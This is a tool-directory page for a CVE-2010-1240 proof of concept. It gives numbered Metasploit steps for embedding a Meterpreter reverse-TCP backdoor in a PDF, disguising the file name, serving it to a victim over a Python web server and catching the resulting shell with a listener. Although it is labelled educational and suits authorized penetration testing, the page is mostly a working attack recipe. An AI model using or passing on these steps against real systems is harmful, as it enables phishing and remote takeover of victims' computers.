Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/asepsaepdin/cve-2010-1240
Phishing ToolsExploit FrameworksWeb Application ExploitationPenetration TestingSocial EngineeringPayload Development
GitHubasepsaepdin/cve-2010-1240

CVE-2010-1240

Educational proof-of-concept demonstrating how to embed a Meterpreter backdoor into a PDF file exploiting CVE-2010-1240, with step-by-step Metasploit instructions for authorized security testing.

View Repository
11533 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2010-1240 - Embedding backdoor into a PDF

Python


⚠️ For educational and authorized security research purposes only

Description

Adobe Reader and Acrobat 9.x before 9.3.3, and 8.x before 8.2.3 on Windows and Mac OS X, do not restrict the contents of one text field in the Launch File warning dialog, which makes it easier for remote attackers to trick users into executing an arbitrary local program that was specified in a PDF document, as demonstrated by a text field that claims that the Open button will enable the user to read an encrypted message.

Demo

Animation

Step Guides

  1. First, run msfconsole

    root@kitploit:~
    msfconsole
    
  2. Then, set the payload for embedding the pdf

    root@kitploit:~
    use exploit/windows/fileformat/adobe_pdf_embedded_exe
    
  3. set the INFILENAME option and provide direct path to the original pdf file

    root@kitploit:~
    set INFILENAME /home/kali/Downloads/certificate-foundations-of-threat-hunting-60c893e734422a67991e093c.pdf
    
  4. set the name of the newly created malicious PDF file to something more convincing by setting the FILENAME option

    root@kitploit:~
    set FILENAME laporan.pdf
    
  5. Find and embed the payload into the PDF file

    root@kitploit:~
    set payload windows/meterpreter/reverse_tcp
    
  6. Set LHOST option to and attacker's IP

    root@kitploit:~
    set LHOST 172.16.10.10
    
  7. Open a new terminal and navigate to the location of the malicious PDF file

    root@kitploit:~
    cd .msf4/local/
    
  8. Create a temporary server in python

    root@kitploit:~
    python -m http.server
    
  9. Download the malicious PDF file on the victim's machine

    root@kitploit:~
    http://172.16.10.10:8000/certificate.pdf
    
  10. Before running the malicious PDF file on the victim's machine, start the listener on the previous terminal

    root@kitploit:~
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST 172.16.10.10
    exploit
    
  11. Once the malicious PDF file is executed on the victim machine, it will give you connection to the victim's machine

Credits

  • https://nvd.nist.gov/vuln/detail/CVE-2010-1240
  • https://medium.com/purple-team/embedding-backdoor-into-pdf-files-1781dfce62b1
  • https://github.com/Jasmoon99/Embedded-PDF
Download Tool